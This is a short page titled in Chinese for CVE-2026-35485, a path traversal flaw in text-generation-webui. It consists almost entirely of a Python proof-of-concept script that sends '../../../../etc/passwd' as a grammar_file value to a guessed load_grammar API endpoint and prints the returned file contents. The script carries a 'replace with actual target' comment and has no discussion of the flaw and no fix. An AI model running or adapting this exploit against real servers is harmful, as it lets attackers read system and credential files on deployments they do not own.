CVE-2026-35485 text-generation-webui路径遍历漏洞

import requests def exploit(target_url): """ PoC for CVE-2026-35485 Exploits path traversal in load_grammar() to read arbitrary files. """ # The endpoint might vary, this is based on typical Gradio API structures api_endpoint = f"{target_url}/api/load_grammar" # Malicious payload to read /etc/passwd # Adjust the number of '../' based on the deployment directory depth traversal_payload = { "grammar_file": "../../../../etc/passwd" } try: print(f"[*] Sending request to {api_endpoint}...") response = requests.post(api_endpoint, data=traversal_payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:") print(response.text) if "root:" in response.text or "[extensions]" in response.text: print("[!] Potential file content detected!") else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://localhost:7860" # Replace with actual target exploit(target)